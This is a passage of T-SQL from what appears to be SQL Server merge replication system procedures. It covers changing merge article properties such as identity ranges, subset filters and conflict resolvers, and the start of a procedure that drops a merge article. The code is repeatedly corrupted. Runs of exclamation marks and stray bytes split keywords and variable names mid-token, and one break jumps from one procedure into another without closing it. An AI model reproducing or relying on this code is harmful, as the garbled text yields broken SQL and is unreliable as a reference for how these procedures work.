        if @@ERROR<>0 or @retcode<>0 GOTO UNDO
            
        update dbo.sysmergearticles set identity_support=0 where artid=@artid and pubid=@pubid
    end

    -- whenever pub_identity_range, identity_range or threshold are used we will just
    -- update sysmergearticles and not do any reseed. Only the next request for a new
    -- identity range will use these new values.
    declare @pub_identity_range bigint
    declare @identity_range bigint
    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'pub_identity_range'
    BEGIN
        select @pub_identity_range = convert(bigint, @value)

        select @identity_range = range from dbo.sysmergearticles where artid = @artid and sys.fn_MSmerge_islocalpubid(pubid)=1
        if IDENT_INCR(@qual_object) < 0
            select @identity_range = -1*@identity_range
        
        exec @retcode = sys.sp_MScheck_autoident_parameters
                                    @qual_object,
                                    @pub_identity_range,
                                    @identity_range
        if @retcode<>0 or @@error<>0
            goto UNDO
            
        if exists (select pubid from dbo.sysmergearticles where artid=@artid and pubid<>@pubid and sys.fn_MSmerge_islocalpubid(pubid)=0)
        begin
            exec @retcode = sys.sp_MScheck_republisher_ranges @qual_object, @artid, @pub_identity_range, @identity_range
            if @retcode<>0 or @@error<>0
                goto UNDO
        end

        if IDENT_INCR(@qual_object) < 0
            select @pub_identity_range = -1*@pub_identity_range
        update dbo.sysmergearticles set pub_range = @pub_identity_range where artid=@artid and sys.fn_MSmerge_islocalpubid(pubid)=1
        if @@ERROR<>0
            goto UNDO
    END
     
    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'identity_range'
    BEGIN
        select @identity_range = convert(bigint, @value)

        select @pub_identity_range = pub_range from dbo.sysmergearticles where artid = @artid and sys.fn_MSmerge_islocalpubid(pubid)=1
        
        if IDENT_INCR(@qual_object) < 0
            select @pub_identity_range = -1*@pub_identity_range
        exec @retcode = sys.sp_MScheck_autoident_parameters
                                    @qual_object,
                                    @pub_identity_range,
                                    @identity_range
        if @retcode<>0 or @@error<>0
            goto UNDO
            
        if exists (select pubid from dbo.sysmergearticles where artid=@artid and pubid<>@pubid and sys.fn_MSmerge_islocalpubid(pubid)=0)
        begin
            exec @retcode = sys.sp_MScheck_republisher_ranges @qual_object, @artid, @pub_identity_range, @identity_range
            if @retc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
>*3v|yode<>0 or @@error<>0
                goto UNDO
        end

        if IDENT_INCR(@qual_object) < 0
            select @identity_range = -1*@identity_range
        update dbo.sysmergearticles set range = @identity_range where artid=@artid and sys.fn_MSmerge_islocalpubid(pubid)=1
        if @@ERROR<>0
            goto UNDO
    END

    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'threshold'
    BEGIN
        declare @threshold int
        
        select @threshold = convert(int, @value)
        if @threshold<1 or @threshold>100
        begin
            raiserror(21241, 16, -1)
            goto UNDO
        end

        update dbo.sysmergearticles set threshold = @threshold where artid=@artid and sys.fn_MSmerge_islocalpubid(pubid)=1
        if @@ERROR<>0
            goto UNDO
    END

    
    /* the property of check permissions is a bitmask of which operation do we want to check for*/     
    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'check_permissions'
    BEGIN
        select @intvalue = convert(int, @value)
        if @intvalue<0
        begin
            raiserror(21232, 16, -1)
            goto UNDO
        end
        update dbo.sysmergearticles set check_permissions=@intvalue WHERE artid = @artid and pubid = @pubid
        if @@ERROR<>0
            goto UNDO        
    END



    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS)='description'
    BEGIN
        UPDATE dbo.sysmergearticles     SET description = @value WHERE artid = @artid and pubid = @pubid
            AND pubid = @pubid
        if @@ERROR <> 0 
                goto UNDO
    END

    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) ='creation_script'
    BEGIN
        update dbo.sysmergearticles set creation_script=@value where artid=@artid and pubid=@pubid
        if @@ERROR <> 0 
            goto UNDO
    END

    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'subset_filterclause'
    BEGIN
        if @value is not null and @value<>''
        begin
            /* check the validity of subset_filterclause */
            select @object_view=@object
            select @quoted_object=QUOTENAME(@object)    
            select @qual_object_view=@qual_object
            
            if @vertical=1
            begin
              select @object_view='TEMP_VIEW_' + @object
              select @qual_object_view = QUOTENAME(@object_view)
              exec @retcode = sys.sp_MSgetcolumnlist @pubid, @column_list OUTPUT, @objid
              exec ('create view dbo.' + @qual_object_view + ' as select ' + @column_list + ' from ' + @quoted_object)
              if @@ERROR<>0
              begin
                raiserror(21256, 16, -1, @value, @object)
                goto UNDO
              end
            end
            
            exec ('declare @test int select @test=1 from ' + @qual_object_view + ' ' + @quoted_object + ' where ' + @value)
            if @@ERROR<>0
            begin
                if @vertical=1
                    exec('drop view ' + @qual_object_view)
                raiserror(21256, 16, -1, @value, @object)
                goto UNDO
            end
            if @vertical=1
                exec('drop view ' + @qual_object_view)

            -- check if the subsetfilter clause contains a computed column. To do this get a list of computed columns
            -- for the given article. Then check if the filter name is like the computed column
            declare @computedcolname sysname
                        
            declare compted_columns_cursor cursor LOCAL FAST_FORWARD
            for (select name from sys.columns where object_id = @objid and is_computed=1)
            open compted_columns_cursor
            fetch compted_columns_cursor into @computedcolname
            while (@@fetch_status <> -1)
            begin
                
                if sys.fn_MSisfilteredcolumn(@value, @computedcolname, @objid) = 1 
                begin
                    raiserror(20656, 16, -1)
                    goto UNDO
                end
                fetch compted_columns_cursor into @computedcolname
            end
            close compted_columns_cursor
            deallocate compted_columns_cursor


            -- check if the subsetfilter clause contains any column of type that is not supported in
            --  a subset filter.

            if exists (
                        select * from sys.columns
                            where object_id = @objid and 
                            (
                            --(sys.fn_IsTypeBlob(sc.system_type_id,sc.max_length) = 1) -- Blob type text,ntext,xml
                              (system_type_id in (type_id('image'), type_id('text'), type_id('ntext'), type_id('xml')))
                                or max_length = -1
                                or system_type_id = 240    -- CLR-UDTs
                            )
                            and 
                            sys.fn_MSisfilteredcolumn(@value, name, @objid) = 1 
                        )
            begin
                    raiserror(22518, 16, -1, @qual_object)
                    goto UNDO
            end
        end

        update dbo.sysmergearticles set subset_filterclause = @value where artid=@artid and pubid=@pubid
        if @@ERROR<>0 goto UNDO
        
        /*
        ** set the pub type to subset or full as appropriate
        */
        execute @retcode = sys.sp_MSsubsetpublication @publication
        if @@ERROR <> 0 OR @retcode <> 0
            goto UNDO
            
        if @value is not null and @value<>''
        begin
            declare @article_has_dynamic_filters bit
            declare @functions_in_subset_filter nvarchar(500)
            
            -- check if this is a dynamically filtered article and this is not a dynamically filtered publication
            select @article_has_dynamic_filters = 0
            exec @retcode = sys.sp_check_subset_filter @qual_object, @value, @article_has_dynamic_filters output, @functions_in_subset_filter  output
            if @retcode<>0 or @@ERROR<>0
            begin
                raiserror(20641, 16, -1)
                goto UNDO
            end
            if @article_has_dynamic_filters = 1 and @publication_has_dynamic_filters = 0
            begin
                -- we have already done a re init and invalidated snapshot. 
                -- the new snapshot that is run will generate 'dynamic' schema changes
                -- don't delete dropmergearticle schemachange.                
                delete from dbo.sysmergeschemachange where pubid = @pubid and schematype not in (@SCHEMA_TYPE_DROPARTICLE)
                  if @@ERROR<>0 goto UNDO
                update dbo.sysmergepublications set use_partition_groups=2 where pubid=@pubid and use_partition_groups=1
                  if @@ERROR<>0 goto UNDO

                -- Since this is called from sp_changemergearticle, make sure it doesn't raise errors since it is premature stage of the publication. 
                -- The snapshot calls this with @dont_raise_error = NULL which should raise appropriate errors
                exec @retcode = sys.sp_MSset_dynamic_filter_options @publication = @publication, @dynamic_filters = @publication_has_dynamic_filters OUTPUT, @dont_raise_error = 1
                if @retcode<>0 or @@ERROR<>0 goto UNDO
            end
            
            -- if the subset_filterclause is being set to something difference we will blow all the partition information we have
            -- this is needed because the existing partitions may not be valid any more. Since all subscriptions are
            -- anyway being reinitialized it should not cause any problems.
            if @article_has_dynamic_filters = 1 and @functions_in_subset_filter <> @dynamic_filters_function_list
            be!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
>.}0v|ygin
                 if @use_partition_groups > 0
                 begin
                     delete from dbo.MSmerge_current_partition_mappings where publication_number = @pub_number
                     if @@error <> 0 goto UNDO
                     delete from dbo.MSmerge_past_partition_mappings where publication_number = @pub_number
                     if @@error <> 0 goto UNDO
                     delete from dbo.MSmerge_generation_partition_mappings where publication_number = @pub_number
                     if @@error <> 0 goto UNDO
                     update dbo.sysmergepublications set use_partition_groups = 2 where pubid = @pubid
                     if @@error <> 0 goto UNDO
                 end
                 
                 exec @retcode = sys.sp_MSdropmergedynamicsnapshotjob @publication = @publication
                 if @@error <> 0 or @retcode <> 0
                     goto UNDO
     
                 delete from dbo.MSmerge_dynamic_snapshots where partition_id in
                     (select partition_id from dbo.MSmerge_partition_groups where publication_number = @pub_number)
                 if @@error <> 0 goto UNDO
                     
                 delete from dbo.MSdynamicsnapshotjobs where partition_id in
                     (select partition_id from dbo.MSmerge_partition_groups where publication_number = @pub_number)
                 if @@error <> 0 goto UNDO
                 
                 delete from dbo.MSmerge_partition_groups where publication_number = @pub_number
                 if @@error <> 0 goto UNDO
     
                 update dbo.sysmergepublications 
                 set dynamic_filters_function_list = NULL, 
                     dynamic_filters = 0
                     where pubid = @pubid
                 if @@error <> 0 goto UNDO
                 
                 -- Since this is called from sp_changemergearticle, make sure it doesn't raise errors since it is premature stage of the publication. 
                 -- The snapshot calls this with @dont_raise_error = NULL which should raise appropriate errors
                 exec @retcode = sys.sp_MSset_dynamic_filter_options @publication = @publication, @dynamic_filters = @publication_has_dynamic_filters OUTPUT, @dont_raise_error = 1
                 if @retcode<>0 or @@ERROR<>0 goto UNDO
            end
        end
    END

    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) ='article_resolver'
    BEGIN

        if @value IS NULL OR @value = 'default' OR @value = ''
        begin
            set @article_resolver = NULL
            set @resolver_clsid = NULL
            set @value = NULL
            set @resolver_info = NULL
        end                    
                
        else
        begin
            EXECUTE @retcode = sys.sp_lookupcustomresolver @value, @resolver_clsid OUTPUT
            IF @@ERROR <> 0 or @retcode <> 0 or @resolver_clsid IS NULL
            BEGIN
                RAISERROR (20020, 16, -1, @article_resolver)
                goto UNDO
            END
        end                        

        -- Cannot use Logical records and BusinessLogicResolvers at the same time.
        if @resolver_clsid = '00000000-0000-0000-0000-000000000000'
        begin

            if exists (select * from dbo.sysmergepartitioninfo 
                        where (artid = @artid) and
                              ((logical_record_level_conflict_detection = 1) or
                               (logical_record_level_conflict_resolution = 1)))
            begin
                raiserror(20708, 16, -1)
                goto UNDO
            end


            select @tablenick = nickname from dbo.sysmergearticles where artid = @artid
            
            if exists (select * from dbo.sysmergesubsetfilters 
                        where ((@tablenick =  art_nickname) or
                               (@tablenick =  join_nickname)) and
                               (filter_type & 2 = 2))
            begin
                raiserror(20708, 16, -1)
                goto UNDO
            end

            
        end
                
        /*
        ** Update the appropriate column in dbo.sysmergearticles with the new article resolver name.
        ** Note this could affect multiple publication if the same table spans publications
        */

        /* NOTE: new change */
        if @resolver_clsid = '00000000-0000-0000-0000-000000000000'
        begin
            EXECUTE @retcode = sys.sp_lookupcustomresolver @value, @resolver_clsid OUTPUT, @is_dotnet_assembly OUTPUT, @dotnet_assembly_name OUTPUT, @dotnet_class_name OUTPUT
            if @dotnet_assembly_name IS NULL 
                begin
                    RAISERROR (21856, 16, -1, @article_resolver)
                    return (1)
                end
            if @dotnet_class_name IS NULL 
                begin
                    RAISERROR (21808, 16, -1, @article_resolver)
                    return (1)
                end
            exec @retcode = sys.sp_MSchangearticleresolver @article_resolver = @dotnet_assembly_name, @resolver_clsid = @resolver_clsid, @artid = @artid, @resolver_info = @dotnet_class_name
            if @@ERROR <> 0 OR @retcode <> 0
            begin
                goto UNDO                           
            end     
        end
        else
        begin
            exec @retcode = sys.sp_MSchangearticleresolver @value, @resolver_clsid, @artid
            if @@ERROR <> 0 OR @retcode <> 0
            begin
                goto UNDO                           
            end     
        end
        
        declare one_pub CURSOR LOCAL FAST_FORWARD FOR 
            select DISTINCT pubid from dbo.sysmergearticles where artid=@artid
        FOR READ ONLY
        open one_pub
        fetch next from one_pub into @pubid
         
        while (@@fetch_status <> -1)
        begin
            select @snapshot_ready=snapshot_ready from dbo.sysmergepublications 
                where pubid = @pubid
            /* Insert the sp_MSchangearticleresolver schema change only if the publication's snapshot is ready */
            if (@snapshot_ready > 0)
            begin
                select @schemaversion = schemaversion from dbo.sysmergeschemachange
                if (@schemaversion is NULL) 
                    set @schemaversion = 1
                else  
                    select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
                set @schemaguid = newid()
                set @schematype = @SCHEMA_TYPE_ARTICLERESOLVER
                if @value is not NULL and @value <> ''
                    select @schematext = 'exec dbo.sp_MSchangearticleresolver ' +  quotename(@value) + ',' + quotename (@resolver_clsid,'''')  + ',' + '''' + convert(nchar(36), @artid) + ''''
                else
                    select @schematext = 'exec dbo.sp_MSchangearticleresolver NULL, NULL,' + '''' + convert(nchar(36), @artid) + ''''
                     
                exec @retcode = sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
                if @@ERROR <> 0 OR @retcode <> 0
                    goto UNDO
            end                                        
            fetch next from one_pub into @pubid
        end 
        close one_pub
        deallocate one_pub

    END /* for property = 'article_resolver' */

    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) ='resolver_info'
    BEGIN
        /* allow non-sp's as resolver info; don't change the resolver class */
        select    @article_resolver = article_resolver, 
                @resolver_clsid = resolver_clsid from
                dbo.sysmergearticles where artid = @artid

        -- Convert NULL value to 'NULL' string to be used for constructing schema text
        -- we do not want!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
>2O
v|y to change NULL value to ''.
        select @article_resolver_str=QUOTENAME(@article_resolver)
        select @resolver_clsid_str = @resolver_clsid
        select @value_str=@value
        if @article_resolver is null set @article_resolver_str = 'NULL'
        if @resolver_clsid is null set @resolver_clsid_str = 'NULL'
        if @value is null set @value_str = 'NULL'

        /* The following resolvers expect the @resolver_info to be NON NULL */
        if    @article_resolver = @sp_resolver or 
            @article_resolver = @additive_resolver or
            @article_resolver = @average_resolver or
            @article_resolver = @minimum_resolver or
            @article_resolver = @maximum_resolver or
            @article_resolver = @mindate_resolver or
            @article_resolver = @maxdate_resolver or
            @article_resolver = @mergetxt_resolver or
            @article_resolver = @pricolumn_resolver
            begin
                if @value IS NULL or @value = ''
                    begin
                        RAISERROR (21301, 16, -1, @article_resolver)
                        goto UNDO
                    end
            end

        /* The SP resolver expect the @resolver_info to be the name of sp */
        if    @article_resolver = @sp_resolver
            begin
                if not exists (select * from sys.objects where object_id = object_id(@value) and ( type = 'P' or type = 'X'))
                begin
                    raiserror(21343, 16, -1, @value)
                    goto UNDO
                end
            end
        /*
        ** If article resolver is 'mindate/maxdate resolver', make sure that resolver_info refers to a column that is of datatype 'datetime' or smalldatetime
        */
        if  @article_resolver = @mindate_resolver or
            @article_resolver = @maxdate_resolver
        begin
            if not exists (select * from sys.columns where object_id = @objid and name=@value and (system_type_id=type_id('datetime') or system_type_id=type_id('smalldatetime')
	            or system_type_id=type_id('datetime2')
	            or system_type_id=type_id('date')
	            or system_type_id=type_id('time')))
            begin
                RAISERROR (21302, 16, -1, @article_resolver)
                goto UNDO
            end
        end

        /* The following resolvers expect the article to be column trcaked - warn that the default resolver migh be used */
        if    @article_resolver = @additive_resolver or
            @article_resolver = @average_resolver
        begin
            select @coltrack = column_tracking from dbo.sysmergearticles where artid = @artid
            if @coltrack = 0
                begin
                    RAISERROR (21303, 10, -1, @article, @article_resolver)
                end
                
        end
            
        /*
        ** Update the appropriate column in dbo.sysmergearticles with the new resolver info.
        ** Note this could affect multiple publication if the same table spans publications
        */

        /* NOTE: new change */
        -- If the resolver's CLSID indicates that it is a .NET assembly, then do not allow the update to NULL, leave it as default .NET Class Name associated with the assembly
        if (@resolver_clsid = '00000000-0000-0000-0000-000000000000' and (@value IS NULL or @value = ''))
        begin
            goto COMMIT_LABEL                           
        end
        else
        begin
            exec @retcode = sys.sp_MSchangearticleresolver @article_resolver, @resolver_clsid, @artid, @value
            if @@ERROR <> 0 OR @retcode <> 0
            begin
                goto UNDO                           
            end            
    
            declare one_pub CURSOR LOCAL FAST_FORWARD FOR 
                select DISTINCT pubid from dbo.sysmergearticles where artid=@artid
            FOR READ ONLY
            open one_pub
            fetch next from one_pub into @pubid
             
            while (@@fetch_status <> -1)
            begin
                select @snapshot_ready=snapshot_ready from dbo.sysmergepublications 
                    where pubid = @pubid
                /* Insert the sp_MSchangearticleresolver schema change only if the publication's snapshot is ready */
                if (@snapshot_ready > 0)
                begin
                    select @schemaversion = schemaversion from sysmergeschemachange
                    if (@schemaversion is NULL) set @schemaversion = 1
                    else  
                        select @schemaversion = 1 + max(schemaversion) from sysmergeschemachange
                    set @schemaguid = newid()
                    set @schematype = @SCHEMA_TYPE_ARTICLERESOLVER
                    select @schematext = '
                        declare @cmd nvarchar(1000) 
                        set @cmd=''exec dbo.sp_MSchangearticleresolver @article_resolver=@ar, @resolver_clsid=@rc, @artid=@ai, @resolver_info=@ri''
                        exec dbo.sp_executesql @cmd, N''@ar nvarchar(255),@rc nvarchar(40),@ai uniqueidentifier,@ri nvarchar(517)'',
                            @ar=' + @article_resolver_str + ', 
                            @rc='+quotename (@resolver_clsid_str,'''')+',
                            @ai=''' + convert(nchar(36), @artid) + ''',                            
							@ri='''+ replace(@value_str, '''', '''''') +''''							

                     
                    exec @retcode = sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext 
                    if @@ERROR <> 0 OR @retcode <> 0
                    begin
                        goto UNDO                          
                    end
                end                             
                fetch next from one_pub into @pubid
            end 
            close one_pub
            deallocate one_pub
        end

    END /* for property = 'resolver_info' */


    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'pre_creation_command'
    BEGIN

        /*
        ** Check to make sure that we have a valid pre_creation_cmd.
        */

        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('none', 'drop', 'delete', 'truncate')
            BEGIN
                RAISERROR (14061, 16, -1)
                goto UNDO
            END

        /*
        ** Determine the integer value for the pre_creation_cmd.
        */

        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'none'
            select @precmdid = 0
        else if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'drop'
            select @precmdid = 1
        else if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'delete'
            select @precmdid = 2
        else if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'truncate'
            select @precmdid = 3

        /*
        ** Update the article with the new pre_creation_cmd.
        */
        UPDATE dbo.sysmergearticles
            SET pre_creation_command = @precmdid
            WHERE artid = @artid
            AND pubid = @pubid

        if @@ERROR <> 0 
            goto UNDO

    END

    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'status'
    BEGIN

        /*
        ** Check to make sure that we have a valid status
        */
        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('active', 'unsynced', 'new_inactive', 'new_active')
        BEGIN
            RAISERROR (20075, 16, -1)
            goto UNDO
        END

        /*
        ** Determine the integer value for the type.
        */

        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'unsynced'
            select @statusid = 1
        else if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'active'
            se!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
?;:vocreate procedure sys.sp_MSdropmergearticle(@pubid uniqueidentifier, @artid uniqueidentifier, @ignore_merge_metadata bit = 0)
as
    declare @snapshot_ready            int
    declare @objid                    int
    declare @retcode                int
    declare @qualified_name            nvarchar(517)
    declare @filterid                int
    declare @proc_name                nvarchar(258)
    declare @sync_objid        int
    declare @view_type        int
    declare @type            tinyint
    declare @tablenick      int
    declare @drop_downlevel_procs    bit
    declare @preserve_rowguidcol bit
    declare @viewname         nvarchar(258)
    declare @SCHEMA_TYPE_DDL_ACTIONS int
    declare @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP int
    declare @SCHEMA_TYPE_NONSQLALTERTABLE int

    set @SCHEMA_TYPE_DDL_ACTIONS= 300
    set @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP= 301
    set @SCHEMA_TYPE_NONSQLALTERTABLE= 13
    
    /*
    ** Security Check
    */
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0 return (1)
    
    select @objid = NULL
    select @type = type, @objid = objid from dbo.sysmergeextendedarticlesview where artid = @artid AND pubid = @pubid
    -- nothing to drop
    if @objid is NULL return 0

    exec sys.sp_MSget_qualified_name @objid, @qualified_name OUTPUT
    if @qualified_name is null return 1

    /*
    ** Mark all entries in sysmergeschemachange with schematype 
	** SCHEMA_TYPE_USER_SCHEMA	31
    ** SCHEMA_TYPE_USER_DEFINED_DATA_TYPE
    ** SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE
    ** SCHEMA_TYPE_ASSEMBLY
    ** SCHEMA_TYPE_PARTITIONSCHEME
    ** SCHEMA_TYPE_PARTITIONFUNCTION
    ** SCHEMA_TYPE_XMLSCHEMANAMESPACE
	** SCHEMA_TYPE_FULLTEXTCATALOG
	** SCHEMA_TYPE_USER_DEFINED_TABLE_TYPE
    ** as inactive.
    ** These entries will either be deleted or activated when snapshot runs depending on whether
    ** they are in the dependency list of the articles still remaining in the publication.
    */

    update dbo.sysmergeschemachange set schemastatus = 0 where pubid = @pubid AND schematype in (88, 89, 90, 91, 92, 93, 96, 31, 105)
    if @@ERROR <> 0 return 1

    -- Remove the corresponding rows from dbo.sysmergeschemachange
    -- However, keep schemachanges like alter table; otherwise, the following will
    -- fail for msgbased:
    --  1) After having synched, add column.
    --  2) Drop article, then readd it.
    --  3) DML at pub (new schema) then at sub (old schema).
    --  4) Sub requests reinit with upload.
    --  5) As a result, the upload cannot be applied due to table schema mismatch;
    --     however, there will be no schemaonly message, as the DDL schemachange is gone.
    DELETE FROM dbo.sysmergeschemachange 
        WHERE artid = @artid AND pubid = @pubid and schematype not in (@SCHEMA_TYPE_DDL_ACTIONS, @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP, @SCHEMA_TYPE_NONSQLALTERTABLE)
    if @@ERROR <> 0 return 1

    -- this code is only needed if the article was added incrementally
    delete from dbo.sysmergeschemachange 
        where substring(convert(binary(16), artid),5,4) = convert(binary(4), @objid) and
              substring(convert(binary(16), artid),0,5) = 0x00000000
            and pubid = @pubid
    
    /*
    ** Removing a schema only article is a lot simpler than 
    ** removing a table article so a different code path is created
    ** to handle this.    
    */
    if @type in (0x20, 0x40, 0x80, 0xA0)
    begin
        /*
        ** Remove the corresponding record in dbo.sysmergeschemaarticles
        */
        delete dbo.sysmergeschemaarticles where artid = @artid and pubid = @pubid

        /*
        ** drop the system pre snapshot script schema chnage since it could contain the
        ** the schema only article (in case of view and functions) if this is the last 
        ** article of type view or func. A subsequent snapshot
        ** run will anyway regenerate the system pre snapshot script
        */
        if not exists (select * from dbo.sysmergeschemaarticles where pubid = @pubid and (type = 0x40 or type = 0x80 or type = 0xA0))
        begin
            delete from dbo.sysmergeschemachange where pubid = @pubid and schematype = 60
        end

        /*
        ** If this is the last schema only article for the underlying 
        ** view or proc object, unmark the 0x200 bit in sysobject.replinfo    
        */
        if not exists (select * from dbo.sysmergeschemaarticles 
                        where objid = @objid)
        begin            
            exec %%Object(MultiName = @qualified_name).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
            --exec %%Object(MultiName = @qualified_name).LockExclusiveMatchID(ID = @objid)
            if @@error <> 0
                return 1

            if object_id('sysmergeschemaarticles') is NULL
            begin    
                exec %%Object(ID = @objid).SetSchemaPublished(Value = 0)
                if @@error <> 0
                    return 1
            end       
            else if not exists (select * from sysmergeschemaarticles 
                                  where objid = @objid) 
            begin    
                exec %%Object(ID = @objid).SetSchemaPublished(Value = 0)
                if @@error <> 0
                    return 1
            end       
        end
    end
    else 
    begin
        /*
        ** Retrieve the object id of the underlying table.
        */
        select @sync_objid = sync_objid, 
               @view_type = view_type, 
               @artid = artid, 
               @objid = objid,
               @tablenick = nickname
            from dbo.sysmergearticles where artid = @artid AND pubid = @pubid
            
        /*
        ** If this is the last article that refers to the base table, drop the 
        ** triggers and stored procs 
        */
        if NOT exists (select * from dbo.sysmergearticles WHERE artid = @artid AND pubid <> @pubid)
        begin
            -- set the identity column as not for replication before calling article cleanup
            -- so that article cleanup can reseed the table to have the highest identity value
            declare @colname sysname

            -- Acquire sch-M lock up-front on the published object 
            exec %%Object(MultiName = @qualified_name).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
            --exec %%Object(MultiName = @qualified_name).LockExclusiveMatchID(ID = @objid)
            if @@error <> 0
                return 1

            select @colname = name
            from sys.columns
            where object_id = @objid and
                is_identity = 1 and -- is identity
                ColumnProperty(object_id, name, 'IsIdNotForRepl') = 1 -- 'not for repl' property
            if @colname is not null
            begin
                -- Mark 'not for repl'
                EXEC %%ColumnEx(ObjectID = @objid, Name = @colname).SetIdentityNotForRepl(Value = 0)
                IF @@ERROR <> 0
                    return 1
            end

            /*
            ** Cleanup the triggers and stored procs
            */
            EXECUTE @retcode = sys.sp_MSarticlecleanup @artid = @artid, @pubid = @pubid, @ignore_merge_metadata = @ignore_merge_metadata
            if @@ERROR <> 0 OR @retcode <> 0
            BEGIN
                return 1
            END
        
            /*
            ** Clear the replication bit in sys.objects. Now merge and transactional level
            ** uses different replication bit, checking transactional level is not needed.
            */

            exec %%Relation(ID = @objid).SetMergePublished(Value = 0, SetColumns = 0)
            -- rmak: How about the merge published bits in sys.columns??

            -- Delete pending requests for resending rows.
            delete from dbo.M!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<N
?yoSmerge_metadataaction_request where tablenick=@tablenick

            IF @@ERROR <> 0
                return 1
        end                
        else
        begin

            -- reset the trigger only if this article is shared with other publications and also the snapshot is ready 
            if exists (select 1 
                        from dbo.sysmergepublications pub join dbo.sysmergearticles art
                        on pub.pubid = art.pubid
                        where pub.snapshot_ready = 1
                        and pub.pubid <> @pubid
                        and UPPER(publisher) = UPPER(publishingservername()) and publisher_db = DB_NAME())
            begin
                exec @retcode = sys.sp_MSaddmergetriggers @qualified_name
                if @retcode<>0 or @@ERROR<>0 return (1)                
            end
        
            /* Always drop the article proc's they are not shared among publications */

            select @drop_downlevel_procs = 0
            if (sys.fn_MSmerge_islocalpubid(@pubid) = 1)
            begin
                if exists (select 1 from dbo.sysmergepublications where pubid = @pubid and backward_comp_level<90)
                    select @drop_downlevel_procs = 1
            end

            EXECUTE @retcode = sys.sp_MSdroparticleprocs @artid = @artid, @pubid = @pubid
            if @@ERROR <> 0 OR @retcode <> 0
            begin
                return 1
            end

            -- Drop the article-specific conflict table.
            exec @retcode= sys.sp_MSdrop_article_conflict_table @pubid=@pubid, @artid=@artid
            if @@error<>0 or @retcode<>0 return 1

            /* If the article's has a temporary ( view type = 2) or a permanent view (view_type = 1 ) drop the sync object */
            if (@objid <> @sync_objid)
            begin
                select @viewname = sys.objects.name from sys.objects where type='V' and is_ms_shipped = 1 
                    and object_id = @sync_objid
                if @viewname IS NOT NULL
                begin
                        set @viewname = QUOTENAME(@viewname)
                        exec ('drop view ' + @viewname)
                        if @@ERROR<>0  
                            return 1
                end
            end
            
            -- Drop repl_view_
            select @viewname = NULL
            select @viewname = object_name(repl_view_id) from dbo.sysmergepartitioninfo WHERE artid = @artid AND pubid = @pubid
            if object_id(@viewname) is not NULL
            begin
				set @viewname = QUOTENAME(@viewname)
                exec ('drop view ' + @viewname)
                select @viewname = NULL
            end

           -- if this article is published in another publication do not drop the identity constraint
           -- do not delete the publisher entry from MSmerge_identity_range. Update the pubid
           -- with the other pubid that exists
           if object_id('dbo.MSmerge_identity_range', 'U') is not NULL
           begin
               exec @retcode = sys.sp_MSremoveidrangesupport @pubid, @artid, 0 /* @propagate_ddl_change */ 
               IF @@ERROR <> 0 or @retcode <> 0
                   return 1
           end

                        
        end
        /*
        ** Remove the row from dbo.sysmergearticles.
        */
        -- drop the expand procs, membership eval proc and logical record views before removing 
        -- the row from sysmergepartitioninfo
        -- do not worry about the errors here since this is just for cleanup
        select @viewname = NULL
        select @viewname = object_name(logical_record_view) from dbo.sysmergepartitioninfo WHERE artid = @artid AND pubid = @pubid
        if object_id(@viewname) is not NULL
        begin
			set @viewname = QUOTENAME(@viewname)
            exec ('drop view ' + @viewname)
            select @viewname = NULL
        end
        select @proc_name = NULL
        select @proc_name = quotename(membership_eval_proc_name) from dbo.sysmergepartitioninfo WHERE artid = @artid AND pubid = @pubid
        if object_id(@proc_name) is not NULL
        begin
            exec ('drop proc ' + @proc_name)
            select @proc_name = NULL
        end
        select @proc_name = quotename(expand_proc) from dbo.sysmergepartitioninfo WHERE artid = @artid AND pubid = @pubid
        if object_id(@proc_name) is not NULL
        begin
            exec ('drop proc ' + @proc_name)
            select @proc_name = NULL
        end
        
        DELETE FROM dbo.sysmergepartitioninfo WHERE artid = @artid AND pubid = @pubid
        if @@ERROR <> 0
        BEGIN
            return 1
        END
        DELETE FROM dbo.sysmergearticles WHERE artid = @artid AND pubid = @pubid
        if @@ERROR <> 0
        BEGIN
            return 1
        END


        /* delete all the filter components that are defined upon the designated article */
        select @filterid = min(join_filterid) from dbo.sysmergesubsetfilters where
            artid = @artid AND pubid = @pubid
        while (@filterid is not null)
        begin
            select @proc_name = expand_proc from dbo.sysmergesubsetfilters where
                artid = @artid AND pubid = @pubid and join_filterid = @filterid

            if (@proc_name IS NOT NULL) and exists (select * from sys.objects where
                name = @proc_name and type = 'P')
                begin
                    set @proc_name= quotename(@proc_name)
